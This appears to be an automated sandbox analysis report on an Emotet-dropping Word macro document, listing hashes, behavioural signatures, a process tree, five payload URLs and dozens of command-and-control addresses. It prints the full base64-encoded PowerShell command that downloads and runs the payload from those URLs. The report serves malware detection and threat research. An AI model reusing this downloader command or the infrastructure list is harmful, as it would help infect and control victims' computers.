Analysis
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max time kernel
139s -
max time network
140s -
platform
windows10_x64 -
resource
win10v200722 -
submitted
01-08-2020 13:29
Static task
static1
Behavioral task
behavioral1
Sample
SecuriteInfo.com.VBA.Heur.LEmoDldr.1.Gen.31682.10107.doc
Resource
win7
General
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Target
SecuriteInfo.com.VBA.Heur.LEmoDldr.1.Gen.31682.10107.doc
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Size
172KB
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MD5
3241c95f7086aec84d5d4bf8f0cd7ac0
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SHA1
0a3966d6e6b0a1bf8abd4b69165eddd1dd6139d7
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SHA256
cc7bdd707f48d5b726a93953080eba89aeac024a738dee113d31c83c8ea8a88d
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SHA512
8f32ccd3d32b742ef4de8c6e071eddda7e336fd846a2f08a25356cfec8a998bf9374fa4fda808d8fbc830ed04253f3b264cf3a5b31a387caa71edb04c3607c71
Malware Config
Extracted
http://muliarental.com/wp-includes/uwr_u4_ed3qzbb/
http://ltrybus.com/cgi-bin/mff_xao9d_5ld5qajfmx/
http://my6thgen.org/_db_backups/t_e_v7qizcr2/
http://mywebnerd.com/bluesforsale/zi6_v4g0_rmyg/
http://www.naayers.org/Library/o_eo_97ml/
Extracted
emotet
142.105.151.124:443
62.108.54.22:8080
212.51.142.238:8080
71.208.216.10:80
108.48.41.69:80
83.110.223.58:443
210.165.156.91:80
104.131.44.150:8080
104.236.246.93:8080
5.39.91.110:7080
209.141.54.221:8080
209.182.216.177:443
153.126.210.205:7080
91.211.88.52:7080
180.92.239.110:8080
183.101.175.193:80
162.241.92.219:8080
87.106.139.101:8080
114.146.222.200:80
65.111.120.223:80
113.160.130.116:8443
190.160.53.126:80
62.75.141.82:80
46.105.131.87:80
203.153.216.189:7080
46.105.131.79:8080
91.231.166.124:8080
81.2.235.111:8080
189.212.199.126:443
95.9.185.228:443
169.239.182.217:8080
47.153.182.47:80
116.203.32.252:8080
139.130.242.43:80
75.139.38.211:80
41.60.200.34:80
47.144.21.12:443
103.86.49.11:8080
95.179.229.244:8080
173.91.22.41:80
70.167.215.250:8080
110.145.77.103:80
85.59.136.180:8080
5.196.74.210:8080
24.234.133.205:80
76.27.179.47:80
104.131.11.150:443
87.106.136.232:8080
61.19.246.238:443
201.173.217.124:443
176.111.60.55:8080
200.55.243.138:8080
74.208.45.104:8080
139.59.60.244:8080
67.241.24.163:8080
24.43.99.75:80
93.51.50.171:8080
109.74.5.95:8080
137.59.187.107:8080
37.139.21.175:8080
157.245.99.39:8080
124.45.106.173:443
47.146.117.214:80
95.213.236.64:8080
62.138.26.28:8080
190.55.181.54:443
24.179.13.119:80
152.168.248.128:443
222.214.218.37:4143
168.235.67.138:7080
181.230.116.163:80
121.124.124.40:7080
79.98.24.39:8080
37.187.72.193:8080
162.154.38.103:80
78.24.219.147:8080
200.41.121.90:80
185.94.252.104:443
50.116.86.205:8080
Signatures
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Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 3816 WINWORD.EXE 3816 WINWORD.EXE -
Emotet Payload 4 IoCs
Detects Emotet payload in memory.
Processes:
resource yara_rule behavioral2/memory/3612-7-0x0000000000620000-0x000000000062C000-memory.dmp emotet behavioral2/memory/3612-7-0x0000000000620000-0x000000000062C000-memory.dmp emotet behavioral2/memory/3384-10-0x0000000000690000-0x000000000069C000-memory.dmp emotet behavioral2/memory/3384-10-0x0000000000690000-0x000000000069C000-memory.dmp emotet -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powersheLL.exedescription pid process Token: SeDebugPrivilege 2124 powersheLL.exe -
Suspicious behavior: EnumeratesProcesses 7 IoCs
Processes:
powersheLL.exemfpmp.exepid process 2124 powersheLL.exe 2124 powersheLL.exe 2124 powersheLL.exe 3384 mfpmp.exe 3384 mfpmp.exe 3384 mfpmp.exe 3384 mfpmp.exe -
Blacklisted process makes network request 1 IoCs
Processes:
powersheLL.exeflow pid process 13 2124 powersheLL.exe -
Executes dropped EXE 2 IoCs
Processes:
659.exemfpmp.exepid process 3612 659.exe 3384 mfpmp.exe -
Suspicious use of WriteProcessMemory 3 IoCs
Processes:
659.exedescription pid process target process PID 3612 wrote to memory of 3384 3612 659.exe mfpmp.exe PID 3612 wrote to memory of 3384 3612 659.exe mfpmp.exe PID 3612 wrote to memory of 3384 3612 659.exe mfpmp.exe -
Drops file in System32 directory 1 IoCs
Processes:
659.exedescription ioc process File opened for modification C:\Windows\SysWOW64\scrrun\mfpmp.exe 659.exe -
Suspicious use of SetWindowsHookEx 11 IoCs
Processes:
WINWORD.EXE659.exemfpmp.exepid process 3816 WINWORD.EXE 3816 WINWORD.EXE 3816 WINWORD.EXE 3816 WINWORD.EXE 3816 WINWORD.EXE 3816 WINWORD.EXE 3816 WINWORD.EXE 3816 WINWORD.EXE 3816 WINWORD.EXE 3612 659.exe 3384 mfpmp.exe -
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
powersheLL.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2124 2860 powersheLL.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.VBA.Heur.LEmoDldr.1.Gen.31682.10107.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
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C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABJAFEAWQBKAFUAcABwAG0APQAnAFcASwBPAFkATwB6AHcAdQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAEUAQwBgAFUAYABSAGkAYABUAFkAUABSAG8AVABgAG8AYwBPAGwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABGAFkATwBGAEUAbgBkAHoAIAA9ACAAJwA2ADUAOQAnADsAJABJAFcAUgBHAEgAawB0AHMAPQAnAFQARgBZAEMAUwBnAGIAawAnADsAJABWAFgASwBJAFgAZABoAGMAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEYAWQBPAEYARQBuAGQAegArACcALgBlAHgAZQAnADsAJABMAEQAVQBUAEwAcgBrAHMAPQAnAEcASgBQAEkASwB3AHoAcQAnADsAJABRAEcAUQBaAEEAdABxAG8APQAmACgAJwBuAGUAdwAtACcAKwAnAG8AJwArACcAYgBqAGUAYwB0ACcAKQAgAG4ARQB0AC4AVwBFAGIAQwBMAGkAZQBuAHQAOwAkAFIAVQBVAE4ASgB5AHoAcQA9ACcAaAB0AHQAcAA6AC8ALwBtAHUAbABpAGEAcgBlAG4AdABhAGwALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAHUAdwByAF8AdQA0AF8AZQBkADMAcQB6AGIAYgAvACoAaAB0AHQAcAA6AC8ALwBsAHQAcgB5AGIAdQBzAC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8AbQBmAGYAXwB4AGEAbwA5AGQAXwA1AGwAZAA1AHEAYQBqAGYAbQB4AC8AKgBoAHQAdABwADoALwAvAG0AeQA2AHQAaABnAGUAbgAuAG8AcgBnAC8AXwBkAGIAXwBiAGEAYwBrAHUAcABzAC8AdABfAGUAXwB2ADcAcQBpAHoAYwByADIALwAqAGgAdAB0AHAAOgAvAC8AbQB5AHcAZQBiAG4AZQByAGQALgBjAG8AbQAvAGIAbAB1AGUAcwBmAG8AcgBzAGEAbABlAC8AegBpADYAXwB2ADQAZwAwAF8AcgBtAHkAZwAvACoAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAG4AYQBhAHkAZQByAHMALgBvAHIAZwAvAEwAaQBiAHIAYQByAHkALwBvAF8AZQBvAF8AOQA3AG0AbAAvACcALgAiAFMAUABsAGAAaQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAUgBLAFIAWgBBAHgAcQBzAD0AJwBZAEgAVgBTAE4AbwB3AGkAJwA7AGYAbwByAGUAYQBjAGgAKAAkAFkASgBMAEcAUwByAGsAYgAgAGkAbgAgACQAUgBVAFUATgBKAHkAegBxACkAewB0AHIAeQB7ACQAUQBHAFEAWgBBAHQAcQBvAC4AIgBkAE8AdwBuAGAATABgAG8AYQBkAGAARgBpAEwARQAiACgAJABZAEoATABHAFMAcgBrAGIALAAgACQAVgBYAEsASQBYAGQAaABjACkAOwAkAEoAUABMAEEAVgBvAGoAbQA9ACcASQBLAFUAQwBDAGMAcwBrACcAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQBJACcAKwAnAHQAZQAnACsAJwBtACcAKQAgACQAVgBYAEsASQBYAGQAaABjACkALgAiAEwARQBuAEcAYABUAEgAIgAgAC0AZwBlACAAMgAwADYAMAAzACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBDAHIAZQBgAEEAdABlACIAKAAkAFYAWABLAEkAWABkAGgAYwApADsAJABNAEMAWABDAFQAawBtAGwAPQAnAE8AVgBCAE0AQwBpAHEAYQAnADsAYgByAGUAYQBrADsAJABRAE8AQwBRAE4AbgBpAGgAPQAnAFYARQBUAEEARABuAG8AdwAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABMAE0AUwBQAEkAZABlAHkAPQAnAEgAWQBTAFQATQBiAHAAdAAnAA==1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
- Process spawned unexpected child process
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C:\Users\Admin\659.exeC:\Users\Admin\659.exe1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
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C:\Windows\SysWOW64\scrrun\mfpmp.exe"C:\Windows\SysWOW64\scrrun\mfpmp.exe"2⤵
- Suspicious behavior: EnumeratesProcesses
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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C:\Users\Admin\659.exe
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C:\Users\Admin\659.exe
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C:\Windows\SysWOW64\scrrun\mfpmp.exe
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memory/3384-8-0x0000000000000000-mapping.dmp
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memory/3384-10-0x0000000000690000-0x000000000069C000-memory.dmpFilesize
48KB
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memory/3612-7-0x0000000000620000-0x000000000062C000-memory.dmpFilesize
48KB